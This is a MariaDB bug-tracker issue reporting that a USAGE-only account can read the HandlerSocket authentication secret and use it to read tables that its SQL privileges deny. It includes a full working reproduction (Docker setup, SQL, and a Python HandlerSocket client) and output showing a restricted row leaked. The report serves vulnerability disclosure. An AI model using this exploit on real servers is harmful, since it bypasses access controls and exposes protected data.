Uploaded image for project: 'MariaDB Server'
  1. MariaDB Server
  2. MDEV-41054

USAGE-only account can read the HandlerSocket authentication secret and bypass SQL table privileges

    XMLWordPrintable

Details

    • Bug
    • Status: Confirmed (View Workflow)
    • Minor
    • Resolution: Unresolved
    • 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3
    • 10.11, 11.4, 11.8, 12.3, 13.1
    • Plugins
    • None
    • Linux x86_64 host; official image `mariadb@sha256:dd9b303aed4f4890ed09f766d8ca9ddfd176c0c6f6267feff53b3192ec65a979`; server reports `12.3.3-MariaDB-ubu2404`, source revision `83e909fc2a0dbc394b4b683fb3fa2d7dcf26cc5e`.

    Description

      The HandlerSocket plugin generates a shared 16-byte authentication secret, but
      the corresponding global system variables are readable by an account with only
      `USAGE`. The same value authenticates to the HandlerSocket write port, where the
      caller can directly read a table that SQL privileges deny to that account.

      The test below uses an isolated container and a synthetic row. Python is used
      only to send three HandlerSocket protocol lines and requires no third-party
      module.

        1. Steps to reproduce

      IMAGE='mariadb@sha256:dd9b303aed4f4890ed09f766d8ca9ddfd176c0c6f6267feff53b3192ec65a979'
      C='mdev-handlersocket-repro'
      cleanup() { docker rm -f "$C" >/dev/null 2>&1 || true; }
      trap cleanup EXIT
       
      docker run --detach --name "$C" \
        --publish 127.0.0.1:19999:9999 \
        --env MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=1 \
        "$IMAGE" \
        --plugin-maturity=beta \
        --plugin-load-add=handlersocket.so \
        --handlersocket-port=9998 \
        --handlersocket-port-wr=9999
       
      for i in $(seq 1 90); do
        if docker exec "$C" mariadb --protocol=socket -uroot -NBe \
             "SELECT @@port" 2>/dev/null | grep -qx 3306; then
          break
        fi
        sleep 1
      done
       
      docker exec "$C" mariadb --protocol=socket -uroot -e "
        CREATE DATABASE hs_scope;
        CREATE TABLE hs_scope.secret_data(
          id INT PRIMARY KEY,
          secret_value VARCHAR(64)
        ) ENGINE=InnoDB;
        INSERT INTO hs_scope.secret_data VALUES (1,'restricted-row');
        CREATE USER 'edbf_probe'@'localhost';
        GRANT USAGE ON *.* TO 'edbf_probe'@'localhost';
      "
       
      # Negative SQL privilege control. This must fail with ERROR 1142.
      docker exec "$C" mariadb --protocol=socket -uedbf_probe \
        -e "SELECT * FROM hs_scope.secret_data"
       
      # The same USAGE-only account can read the HandlerSocket credential.
      docker exec "$C" mariadb --protocol=socket -uedbf_probe -NBe \
        "SELECT LENGTH(@@global.handlersocket_plain_secret),
                @@global.handlersocket_plain_secret =
                @@global.handlersocket_plain_secret_wr"
       
      # Read the variable as the USAGE-only account and use it on HandlerSocket.
      python3 - <<'PY'
      import socket
      import subprocess
       
      container = "mdev-handlersocket-repro"
      secret = subprocess.check_output([
          "docker", "exec", container, "mariadb", "--protocol=socket",
          "-uedbf_probe", "-NBe",
          "SELECT @@global.handlersocket_plain_secret",
      ], text=True).strip()
       
      with socket.create_connection(("127.0.0.1", 19999), timeout=5) as sock:
          stream = sock.makefile("rwb", buffering=0)
          requests = (
              f"A\t1\t{secret}\n",
              "P\t1\ths_scope\tsecret_data\tPRIMARY\tid,secret_value\n",
              "1\t=\t1\t1\n",
          )
          labels = ("auth", "open", "read")
          for label, request in zip(labels, requests):
              stream.write(request.encode())
              print(f"{label}_response={stream.readline().decode().rstrip()}")
      PY
      
      

      Actual result

      The SQL control is denied:

      ERROR 1142 (42000): SELECT command denied to user 'edbf_probe'@'localhost' for table `hs_scope`.`secret_data`
      

      The secret query succeeds and reports that the read and write secrets are the
      same:

      16  1
      

      The HandlerSocket connection then returns the otherwise denied row:

      auth_response=0\t1
      open_response=0\t1
      read_response=0\t2\t1\trestricted-row
      

      The server remains alive. This is not a server crash.

      Expected result

      An account without privileges on `hs_scope.secret_data` must not be able to
      obtain a credential that grants direct HandlerSocket access to that table.
      HandlerSocket authentication secrets should be treated as sensitive values and
      must not be exposed through generally readable global variables.

      Impact and boundary

      An authenticated SQL account with only `USAGE` can cross the SQL privilege
      boundary and read rows through HandlerSocket. Only MariaDB 12.3.3 was tested;
      other versions and write operations were not evaluated. This report is
      researcher-reproduced and not yet maintainer-confirmed.

      Attachments

        Activity

          People

            serg Sergei Golubchik
            csfuzz csfuzz
            Votes:
            0 Vote for this issue
            Watchers:
            3 Start watching this issue

            Dates

              Created:
              Updated:

              Git Integration

                Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.